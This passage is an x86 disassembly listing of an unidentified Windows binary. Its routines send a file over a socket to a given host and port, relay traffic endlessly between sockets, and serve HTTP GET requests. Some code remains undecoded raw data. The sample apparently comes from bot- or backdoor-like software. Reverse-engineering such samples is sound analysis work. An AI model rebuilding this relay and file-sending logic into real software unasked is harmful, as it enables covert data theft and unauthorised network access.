		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431410[eax]
		push	ebx
		lea	eax, dword_431410[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------


loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax


loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCB4
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCB0
		nop
		call	near ptr 26E0000h
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCA4
		call	near ptr 26F0000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCB4
		call	dword_4CAFC4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h
		dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h
		dd 57004270h, 875FF57h,	0B00815FFh, 0B4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh
		dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h
		dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 20AEE890h, 0FF50022Fh, 4CDCA835h, 0A1E89000h, 50022F20h
		dd 19E6E890h, 458D022Fh, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 43350Ch, 2544E857h, 8D900224h
		dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h,	2619ABE8h
		dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1992E890h, 0FF6A0226h, 0FFF04589h, 95E8D875h, 90022628h
		dd 0F075FF57h, 2015E890h, 0FF570227h, 0CE8EC75h, 90022720h
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22E25A1h
		dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh
		dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCBC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh
		dd 4CAFF4h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h
		dd 858B022Ch, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h
		dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF08h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Ch, 530000FFh, 9E63E8h, 0BCA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h
		dd 75C63B00h, 815FF54h,	33004CAFh, 0E47539F6h, 403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 0E8565959h, 22C1770h, 57056A90h, 0AF9C15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2C166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h,	37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh
		dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 83E85750h, 90716A54h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 0E890570Ah, 716A7382h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh,	6A2DF3E8h
		dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
		dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh,	56000004h
		dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 0E857FFFFh, 716A2EA5h, 3D4E990h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 4337CCh, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h
		dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh
		dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h
		dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	43375Ch
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	43373Ch
		dd 2F1E957h, 34BF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43371C68h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h
		dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h
		dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh
		dd 50004336h, 0D307E8h,	0C0855900h, 6A2A7559h, 36B0BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 43366Ch, 0CA2CE850h,	0C4830000h, 1D6A5618h, 43364C68h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 43364468h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 4335FCh, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h
		dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CDCC8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCC8
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h


loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 2660F23h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi


loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAF74
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEBC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB010
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF5C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE60
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]


loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A


loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB00C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]


loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5


loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6


loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA2C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------


loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43381C ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9


loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]


loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]


loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414


loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]


loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB00C


loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------


loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4337F4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h


loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
